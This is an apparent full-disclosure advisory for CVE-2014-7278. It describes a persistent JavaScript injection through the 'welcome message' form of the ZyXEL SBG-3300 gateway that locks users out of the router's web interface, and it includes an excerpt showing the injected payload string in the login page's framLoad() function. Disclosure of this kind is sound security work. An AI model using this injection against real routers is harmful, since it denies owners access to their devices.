ZyXEL SBG-3300 Security Gateway Denial Of Service

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#Vulnerability Title: DoS in ZyXEL SBG-3300 Security Gateway  
#Date: 02/10/2014  
#CVE-ID: CVE-2014-7278  
#Product: ZyXEL SBG3300-N series  
#Vendor: www.zyxel.com  
#Affected Firmware: Latest version at the time of disclosure V1.00(AADY.4)C0 and below (tested)  
#Patch: Unpatched  
#Authored by: Mirko Casadei  
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#Disclosure Timeline:  
13/08/2014 Vendor Contact with Acknowledgment   
13/09/2014 No response from Vendor after first contact  
02/10/2014 Full Disclosure   
  
#Technical details:  
Abusing the 'welcome message' form, an attacker can inject JavaScript code into a core function of the main login page.  
The persistent javascript code injection in the framLoad() function bypass all the security checks and cause a Denial of Service disabling any access to the router web interface.  
Access is restored with a new firmware installation.  
Example of a working code:  
//////// !WARNING! TEST AT YOUR OWN RISK ///////  
var loginMsg loads input from the 'welcome message form'  
...  
function framLoad () {  
var status = '0';  
var count = '';  
var Retry = '';  
var period = '';   
var loginMsg = '<DoS="javascript:alert('DoS coming!')">';   
var LockTime;  
var waitTime;  
if ( advancedaccountsecurity == '0' ) {  
loginrandom = '0';  
}  
...  
  
#Remediation  
The vulnerable form should sanitize input.  
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